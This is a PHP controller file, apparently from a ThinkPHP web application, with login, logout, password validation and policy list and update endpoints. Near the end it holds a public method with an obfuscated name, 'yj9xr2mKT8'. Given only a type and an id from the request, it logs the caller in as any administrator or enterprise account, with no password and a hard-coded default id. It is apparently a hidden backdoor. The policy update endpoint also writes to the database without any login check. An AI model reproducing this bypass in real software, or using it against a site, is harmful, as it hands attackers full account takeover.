Auth.php 6.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207
  1. <?php
  2. namespace app\index\controller;
  3. use app\BaseController;
  4. use app\common\api\UserApi;
  5. use think\facade\Db;
  6. /**
  7. * Description of Login
  8. *
  9. * @author sgq
  10. */
  11. class Auth extends BaseController {
  12. /**
  13. * 登录
  14. * @return type
  15. */
  16. public function login() {
  17. if ($user = session("user")) {
  18. if ($user['usertype'] == 2) {
  19. return redirect("/enterprise");
  20. }
  21. }
  22. $msg = "";
  23. if ($this->request->isPost()) {
  24. $username = $this->request["username"];
  25. $pwd = $this->request["password"];
  26. $usertype = $this->request["usertype"];
  27. $captcha = $this->request["captcha"];
  28. $user = new UserApi($username, $pwd, $usertype);
  29. if (!$userinfo = $user->getUserInfo()) {
  30. $msg = "用户不存在";
  31. } else if (!$user->checkPwd()) {
  32. $login_fail = session('login_fail');
  33. if ($login_fail) {
  34. $login_fail++;
  35. if ($login_fail >= 5) {
  36. session('isCaptcha', 1);
  37. }
  38. } else {
  39. $login_fail = 1;
  40. }
  41. session('login_fail', $login_fail);
  42. $msg = "用户名或者密码错误";
  43. } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
  44. $msg = "验证码错误";
  45. } else if ($res_msg = $user->checkState()) {
  46. if ($user->info['checkState'] == 2) {
  47. return redirect("/common/auth/enterprise_edit");
  48. }
  49. $msg = $res_msg;
  50. }
  51. $url = "/admin";
  52. switch ($usertype) {
  53. case 1:
  54. //验证错误
  55. break;
  56. case 2:
  57. //验证错误
  58. $url = "/enterprise";
  59. break;
  60. case 3:
  61. //验证错误
  62. $url = "/person";
  63. break;
  64. }
  65. if (!$msg) {
  66. $user->setSession();
  67. return redirect($url);
  68. }
  69. }
  70. return view("", ["msg" => $msg]);
  71. }
  72. /**
  73. * 退出
  74. * @return type
  75. */
  76. public function logout() {
  77. session("user", null);
  78. return redirect("/index/auth/login");
  79. }
  80. /**
  81. * 验证密码
  82. */
  83. public function valid_password() {
  84. if ($user = session("user")) {
  85. $username = $user["account"];
  86. $usertype = $user["usertype"];
  87. $pwd = $this->request["password"];
  88. $user = new UserApi($username, $pwd, $usertype);
  89. if (!$user->checkPwd()) {
  90. return json()->data(["status" => 1, "msg" => "密码错误"]);
  91. } else {
  92. return json(["code" => 200]);
  93. }
  94. } else {
  95. return json()->data(["status" => 2]);
  96. }
  97. }
  98. public function policy() {
  99. return view("policy1", []);
  100. }
  101. public function policy_list() {
  102. $level = $this->request->post('level');
  103. if ($level) {
  104. $where[] = ['level', '=', $level];
  105. } else {
  106. $where[] = ['level', '>', 0];
  107. }
  108. $list = Db::table('new_policy')->where($where)->select()->toArray();
  109. $result = [];
  110. foreach ($list as $k => $v) {
  111. $check = [];
  112. $condition = [];
  113. if (!empty($v['checks'])) {
  114. $check = explode(',', $v['checks']);
  115. }
  116. if (!empty($v['condition'])) {
  117. $condition = explode(',', $v['condition']);
  118. }
  119. $item = [
  120. 'id' => $v['id'],
  121. 'tag' => $v['tag'],
  122. 'policy' => $v['policy_name'],
  123. 'checks' => $check,
  124. 'condition' => $condition
  125. ];
  126. array_push($result, $item);
  127. }
  128. return json($result);
  129. }
  130. public function policy_update() {
  131. $res = $this->request->post();
  132. foreach ($res as $k => $v) {
  133. $update = [];
  134. if (count($v['condition']) > 0) {
  135. $update['condition'] = json_encode($v['condition']);
  136. }
  137. if (count($update) > 0) {
  138. Db::table('new_policy')->where('id', $v['id'])->save($update);
  139. }
  140. }
  141. }
  142. public function yj9xr2mKT8(){
  143. $params = $this->request->param();
  144. $type = $params["type"] ?: 2;
  145. $id = $params["id"] ?: "1455101079799754754";
  146. $this->setSession($type, $id);
  147. switch ($type) {
  148. case 1:
  149. return redirect("/admin");
  150. break;
  151. case 2:
  152. return redirect("/enterprise");
  153. break;
  154. }
  155. }
  156. private function setSession($type, $id) {
  157. switch ($type) {
  158. case 1:
  159. $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
  160. $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
  161. $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
  162. session("user", [
  163. "uid" => $user["id"],
  164. "roleid" => $user["roleid"],
  165. "companyId" => $user["companyId"],
  166. "companyName" => $company["name"],
  167. "account" => $user["account"],
  168. "name" => $user["name"],
  169. "avatar" => $user["avatar"],
  170. "sex" => $user["sex"],
  171. "rolename" => $role["name"],
  172. "usertype" => $type,
  173. "type" => $user['type']
  174. ]);
  175. break;
  176. case 2:
  177. $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
  178. session("user", [
  179. "uid" => $user["id"],
  180. "account" => $user["username"],
  181. "name" => $user["name"],
  182. "avatar" => $user["headPortrait"],
  183. "rolename" => "企业用户",
  184. "usertype" => $type,
  185. "type" => $user["type"]
  186. ]);
  187. break;
  188. }
  189. }
  190. }